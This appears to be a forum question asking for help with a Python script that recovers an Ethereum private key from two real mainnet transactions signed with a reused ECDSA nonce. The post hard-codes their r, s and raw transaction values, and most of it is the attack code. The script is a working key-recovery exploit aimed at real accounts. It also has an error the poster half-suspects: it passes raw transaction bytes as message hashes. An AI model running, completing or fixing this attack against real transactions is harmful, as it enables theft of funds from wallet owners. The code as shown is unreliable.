Reference article: https://bertcmiller.com/2021/12/28/glimpse_nonce_reuse.html
Reference repo: https://github.com/Marsh61/ECDSA-Nonce-Reuse-Exploit-Example/blob/master/Attack-Main.py
Objective: Solve for private key with 2 transactions signed with same R
Problem: Unable to get private key
Steps taken
- Find 2 tx with same r based on reference article
- Note down their r,s values from getTxHash
- Get "raw" message signed via https://etherscan.io/getRawTx?tx=
- Call attack function which solves the simultaneous equation to obtain private key
Suspected mistakes
- Message being hashed is wrong? (Not sure what other value I can use for this?)
from ecdsa.numbertheory import inverse_mod
import ecdsa
def attack(publicKeyOrderInteger, signaturePair1, signaturePair2, messageHash1, messageHash2):
r1 = signaturePair1[0]
s1 = signaturePair1[1]
r2 = signaturePair2[0]
s2 = signaturePair2[1]
if (r1 != r2):
print("ERROR: The signature pairs given are not susceptible to this attack")
return None
numerator = (((s2 * messageHash1) % publicKeyOrderInteger) -
((s1 * messageHash2) % publicKeyOrderInteger))
denominator = inverse_mod(
r1 * ((s1 - s2) % publicKeyOrderInteger), publicKeyOrderInteger)
privateKey = numerator * denominator % publicKeyOrderInteger
return hex(privateKey)
if __name__ == "__main__":
G = ecdsa.SECP256k1.generator
# mod N component for secp256k1 which we will be using
order = G.order()
print('Order:', order)
hash1 = 0xb5d2454d7380bfa7ac75ec76f15eecb56e60941429153081fe799fb53a7ff901
rawHash1 = 0xf9010a0685028fa6ae00830242c294dc42728b0ea910349ed3c6e1c9dc06b5fb591f9880b8a40175b1c4f48c9980411f86fb275b915d5fe29fca6626a646c18787e9bb8b2f653cc995e90000000000000000000000000dcb0cb0120d355cde1ce56040be57add0185baa000000000000000000000000fa9da51631268a30ec3ddd1ccbf46c65fad9925100000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000000000000000000a4b125a0f0d7b10f398357f7d140ff2be1bea9165d32238360ad0f82911235868be7c6e1a063ede1f38c2f7eb6163f5885852aaec1cfb5b2919d2fec9a46d6ff1494901392
r1 = 0xf0d7b10f398357f7d140ff2be1bea9165d32238360ad0f82911235868be7c6e1
s1 = 0x63ede1f38c2f7eb6163f5885852aaec1cfb5b2919d2fec9a46d6ff1494901392
hash2 = 0x9e459be7fa9950835a3c2594d3440c684fed05fa8e12e8088cc7776c4afb364c
rawHash2 = 0xf9010a0b850d9f2bfda68302998894dc42728b0ea910349ed3c6e1c9dc06b5fb591f9880b8a40175b1c40746d52e628dc6698c2da01d2447a365b16008802e350fcaf00ce357b291163b0000000000000000000000000dcb0cb0120d355cde1ce56040be57add0185baa0000000000000000000000009883c9925aca25ad93907616dcbe4900869a9dd6000000000000000000000000000000000000000000000000013fbe85edc90000000000000000000000000000000000000000000000000000000000000000a4b126a0f0d7b10f398357f7d140ff2be1bea9165d32238360ad0f82911235868be7c6e1a0604e4a2cc65d279ae6946cd8fa73a23b6086ea01afa5a46b9aa40685236011ec
r2 = 0xf0d7b10f398357f7d140ff2be1bea9165d32238360ad0f82911235868be7c6e1
s2 = 0x604e4a2cc65d279ae6946cd8fa73a23b6086ea01afa5a46b9aa40685236011ec
resolvedPrivateKey = attack(order, [r1, s1], [r2, s2], rawHash1, rawHash2)
print('Private key found:', resolvedPrivateKey)